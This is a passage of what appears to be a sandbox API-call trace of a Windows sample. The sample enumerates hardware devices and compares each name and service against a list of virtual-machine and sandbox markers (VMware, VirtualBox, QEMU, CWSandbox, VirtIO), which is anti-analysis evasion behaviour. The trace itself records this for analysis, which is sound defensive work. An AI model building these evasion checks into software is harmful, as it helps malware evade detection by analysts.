Flags=0x8, Size=0x28) returned 0x261f908 [0241.407] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x14, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.465] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa80 [0241.465] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware Pointing") returned 0x0 [0241.465] lstrlenA (lpString="VMware Pointing") returned 15 [0241.465] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0241.465] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f938 [0241.465] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware Accelerated") returned 0x0 [0241.465] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.465] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f938 | out: hHeap=0x25a0000) returned 1 [0241.465] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa08 [0241.465] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware SCSI") returned 0x0 [0241.465] lstrlenA (lpString="VMware SCSI") returned 11 [0241.465] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0241.465] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb88 [0241.465] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware SVGA") returned 0x0 [0241.465] lstrlenA (lpString="VMware SVGA") returned 11 [0241.465] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0241.465] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fab0 [0241.465] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware Replay") returned 0x0 [0241.465] lstrlenA (lpString="VMware Replay") returned 13 [0241.465] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.465] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f938 [0241.465] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware server memory") returned 0x0 [0241.466] lstrlenA (lpString="VMware server memory") returned 20 [0241.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f938 | out: hHeap=0x25a0000) returned 1 [0241.466] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb88 [0241.466] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="CWSandbox") returned 0x0 [0241.466] lstrlenA (lpString="CWSandbox") returned 9 [0241.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0241.466] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fae0 [0241.466] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="Virtual HD") returned 0x0 [0241.466] lstrlenA (lpString="Virtual HD") returned 10 [0241.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0241.466] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f778 [0241.466] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="QEMU") returned 0x0 [0241.466] lstrlenA (lpString="QEMU") returned 4 [0241.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f778 | out: hHeap=0x25a0000) returned 1 [0241.466] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa20 [0241.466] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.466] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.466] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb10 [0241.466] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="srootkit") returned 0x0 [0241.466] lstrlenA (lpString="srootkit") returned 8 [0241.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.466] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb58 [0241.466] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware VMaudio") returned 0x0 [0241.466] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0241.466] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fab0 [0241.466] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VMware Vista") returned 0x0 [0241.466] lstrlenA (lpString="VMware Vista") returned 12 [0241.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.467] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261faf8 [0241.467] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VBoxVideo") returned 0x0 [0241.467] lstrlenA (lpString="VBoxVideo") returned 9 [0241.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0241.467] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb88 [0241.467] StrStrIA (lpFirst="Microsoft ?????????", lpSrch="VBoxGuest") returned 0x0 [0241.467] lstrlenA (lpString="VBoxGuest") returned 9 [0241.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0241.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.467] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.467] GetLastError () returned 0x7a [0241.467] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f908 [0241.467] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.468] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f7a8 [0241.468] StrStrIA (lpFirst="vdrvroot", lpSrch="vmxnet") returned 0x0 [0241.468] lstrlenA (lpString="vmxnet") returned 6 [0241.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7a8 | out: hHeap=0x25a0000) returned 1 [0241.468] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f738 [0241.468] StrStrIA (lpFirst="vdrvroot", lpSrch="vmscsi") returned 0x0 [0241.468] lstrlenA (lpString="vmscsi") returned 6 [0241.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f738 | out: hHeap=0x25a0000) returned 1 [0241.468] StrStrIA (lpFirst="vdrvroot", lpSrch="VMAUDIO") returned 0x0 [0241.468] lstrlenA (lpString="VMAUDIO") returned 7 [0241.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f758 | out: hHeap=0x25a0000) returned 1 [0241.468] StrStrIA (lpFirst="vdrvroot", lpSrch="vmdebug") returned 0x0 [0241.468] lstrlenA (lpString="vmdebug") returned 7 [0241.468] StrStrIA (lpFirst="vdrvroot", lpSrch="vm3dmp") returned 0x0 [0241.468] lstrlenA (lpString="vm3dmp") returned 6 [0241.468] StrStrIA (lpFirst="vdrvroot", lpSrch="vmrawdsk") returned 0x0 [0241.468] lstrlenA (lpString="vmrawdsk") returned 8 [0241.468] StrStrIA (lpFirst="vdrvroot", lpSrch="vmx_svga") returned 0x0 [0241.469] lstrlenA (lpString="vmx_svga") returned 8 [0241.469] StrStrIA (lpFirst="vdrvroot", lpSrch="ansfltr") returned 0x0 [0241.469] lstrlenA (lpString="ansfltr") returned 7 [0241.469] StrStrIA (lpFirst="vdrvroot", lpSrch="sbtisht") returned 0x0 [0241.469] lstrlenA (lpString="sbtisht") returned 7 [0241.469] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x11, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.469] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.473] GetLastError () returned 0x7a [0241.473] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="VMware Pointing") returned 0x0 [0241.476] lstrlenA (lpString="VMware Pointing") returned 15 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="VMware Accelerated") returned 0x0 [0241.476] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="VMware SCSI") returned 0x0 [0241.476] lstrlenA (lpString="VMware SCSI") returned 11 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="VMware SVGA") returned 0x0 [0241.476] lstrlenA (lpString="VMware SVGA") returned 11 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="VMware Replay") returned 0x0 [0241.476] lstrlenA (lpString="VMware Replay") returned 13 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="VMware server memory") returned 0x0 [0241.476] lstrlenA (lpString="VMware server memory") returned 20 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="CWSandbox") returned 0x0 [0241.476] lstrlenA (lpString="CWSandbox") returned 9 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="Virtual HD") returned 0x0 [0241.476] lstrlenA (lpString="Virtual HD") returned 10 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="QEMU") returned 0x0 [0241.476] lstrlenA (lpString="QEMU") returned 4 [0241.476] StrStrIA (lpFirst="???? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.476] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.477] StrStrIA (lpFirst="???? ????", lpSrch="srootkit") returned 0x0 [0241.477] lstrlenA (lpString="srootkit") returned 8 [0241.477] StrStrIA (lpFirst="???? ????", lpSrch="VMware VMaudio") returned 0x0 [0241.477] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.477] StrStrIA (lpFirst="???? ????", lpSrch="VMware Vista") returned 0x0 [0241.477] StrStrIA (lpFirst="???? ????", lpSrch="VBoxVideo") returned 0x0 [0241.477] StrStrIA (lpFirst="???? ????", lpSrch="VBoxGuest") returned 0x0 [0241.477] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.477] GetLastError () returned 0x7a [0241.477] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb70, PropertyBufferSize=0x5, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb70, RequiredSize=0x19fe7c) returned 1 [0241.478] StrStrIA (lpFirst="disk", lpSrch="vmxnet") returned 0x0 [0241.478] StrStrIA (lpFirst="disk", lpSrch="vmscsi") returned 0x0 [0241.478] StrStrIA (lpFirst="disk", lpSrch="VMAUDIO") returned 0x0 [0241.478] StrStrIA (lpFirst="disk", lpSrch="vmdebug") returned 0x0 [0241.478] StrStrIA (lpFirst="disk", lpSrch="vm3dmp") returned 0x0 [0241.478] StrStrIA (lpFirst="disk", lpSrch="vmrawdsk") returned 0x0 [0241.478] StrStrIA (lpFirst="disk", lpSrch="vmx_svga") returned 0x0 [0241.478] StrStrIA (lpFirst="disk", lpSrch="ansfltr") returned 0x0 [0241.478] StrStrIA (lpFirst="disk", lpSrch="sbtisht") returned 0x0 [0241.478] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x12, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.478] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.483] GetLastError () returned 0x7a [0241.483] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x12, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.487] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware Pointing") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware Accelerated") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware SCSI") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware SVGA") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware Replay") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware server memory") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="CWSandbox") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="Virtual HD") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="QEMU") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="srootkit") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware VMaudio") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VMware Vista") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VBoxVideo") returned 0x0 [0241.488] StrStrIA (lpFirst="CPU to IO ???????", lpSrch="VBoxGuest") returned 0x0 [0241.488] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.488] GetLastError () returned 0xd [0241.489] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x13, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.489] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.492] GetLastError () returned 0x7a [0241.492] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Pointing") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Accelerated") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware SCSI") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware SVGA") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Replay") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware server memory") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="CWSandbox") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="Virtual HD") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="QEMU") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="Red Hat VirtIO") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="srootkit") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware VMaudio") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Vista") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VBoxVideo") returned 0x0 [0241.497] StrStrIA (lpFirst="?? IO ??", lpSrch="VBoxGuest") returned 0x0 [0241.497] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.498] GetLastError () returned 0xd [0241.498] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x14, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.498] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.512] GetLastError () returned 0x7a [0241.512] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x15, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware Pointing") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware Accelerated") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware SCSI") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware SVGA") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware Replay") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware server memory") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="CWSandbox") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="Virtual HD") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="QEMU") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="srootkit") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware VMaudio") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VMware Vista") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VBoxVideo") returned 0x0 [0241.518] StrStrIA (lpFirst="Microsoft ??????????", lpSrch="VBoxGuest") returned 0x0 [0241.518] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.519] GetLastError () returned 0x7a [0241.519] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.519] StrStrIA (lpFirst="spaceport", lpSrch="vmxnet") returned 0x0 [0241.519] StrStrIA (lpFirst="spaceport", lpSrch="vmscsi") returned 0x0 [0241.519] StrStrIA (lpFirst="spaceport", lpSrch="VMAUDIO") returned 0x0 [0241.519] StrStrIA (lpFirst="spaceport", lpSrch="vmdebug") returned 0x0 [0241.519] StrStrIA (lpFirst="spaceport", lpSrch="vm3dmp") returned 0x0 [0241.519] StrStrIA (lpFirst="spaceport", lpSrch="vmrawdsk") returned 0x0 [0241.519] StrStrIA (lpFirst="spaceport", lpSrch="vmx_svga") returned 0x0 [0241.520] StrStrIA (lpFirst="spaceport", lpSrch="ansfltr") returned 0x0 [0241.520] StrStrIA (lpFirst="spaceport", lpSrch="sbtisht") returned 0x0 [0241.520] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x15, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.520] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.525] GetLastError () returned 0x7a [0241.525] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware Pointing") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware Accelerated") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware SCSI") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware SVGA") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware Replay") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware server memory") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="CWSandbox") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="Virtual HD") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="QEMU") returned 0x0 [0241.529] StrStrIA (lpFirst="SM ?? ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.530] StrStrIA (lpFirst="SM ?? ???????", lpSrch="srootkit") returned 0x0 [0241.530] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware VMaudio") returned 0x0 [0241.530] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VMware Vista") returned 0x0 [0241.530] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VBoxVideo") returned 0x0 [0241.530] StrStrIA (lpFirst="SM ?? ???????", lpSrch="VBoxGuest") returned 0x0 [0241.530] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.530] GetLastError () returned 0xd [0241.530] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x16, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.530] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.578] GetLastError () returned 0x7a [0241.578] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x3a, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware Pointing") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware Accelerated") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware SCSI") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware SVGA") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware Replay") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware server memory") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="CWSandbox") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="Virtual HD") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="QEMU") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="Red Hat VirtIO") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="srootkit") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware VMaudio") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VMware Vista") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VBoxVideo") returned 0x0 [0241.619] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A", lpSrch="VBoxGuest") returned 0x0 [0241.620] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.620] GetLastError () returned 0x7a [0241.620] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, 